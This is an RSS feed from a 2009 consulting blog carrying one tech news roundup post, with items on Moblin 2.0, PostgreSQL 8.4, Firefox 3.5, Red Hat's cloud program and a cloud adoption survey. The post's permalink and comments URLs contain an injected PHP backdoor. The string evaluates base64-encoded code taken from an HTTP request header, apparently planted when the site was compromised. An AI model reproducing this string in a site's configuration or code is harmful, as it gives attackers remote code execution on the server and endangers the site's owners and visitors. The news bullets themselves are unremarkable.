Knowledge@adpsconsulting.com » Firefox 3.5 http://adpsconsulting.com/knowledge Knowledge@ADPS Wed, 05 Aug 2009 10:00:30 +0000 http://wordpress.org/?v=2.8 en hourly 1 The Fortnight That Was: Firefox 3.5 out and more http://adpsconsulting.com/knowledge/2009/07/09/the-fortnight-that-was-firefox-3-5-out-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://adpsconsulting.com/knowledge/2009/07/09/the-fortnight-that-was-firefox-3-5-out-and-more/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 09 Jul 2009 04:05:36 +0000 ADPS Admin http://adpsconsulting.com/knowledge/?p=98 •  Intel has just released the first beta of Moblin v2.0. Moblin is Intel’s open source operating system for netbooks, and is essentially another distribution of Linux, Fedora based. Moblin is built for Intel’s Atom chips which are found in many netbooks, and is an internet and multimedia focused OS. Moblin is open source and free.

•  PostgreSQL has released version 8.4 of the popular open source database. Features include faster recovery from backups, per column permissions for more granular control of data, faster upgrades from v8.3 and semi-joins and anti-joins, among others.

•  Mozilla has launched Firefox 3.5. It’s faster, and has features of IE8 and Chrome.

•  Red Hat is offering the Premier Cloud Provider Certification and Partner Program, designed to simplify and expand the adoption of cloud computing by enterprise customers. It enables industry leaders in cloud computing to become certified to offer Red Hat technology solutions. Amazon Web Services became the first Red Hat Premier Cloud Provide Partner.

•  In a survey of 104 Global 2000 companies, 30% of respondents said they were already using the cloud, and another 20% said that they would be moving their applications to the cloud in the next year. However, the remaining half said that they had no plans of using the cloud in the near future, citing lack of awareness, security concerns, cost, and not enough technical expertise.

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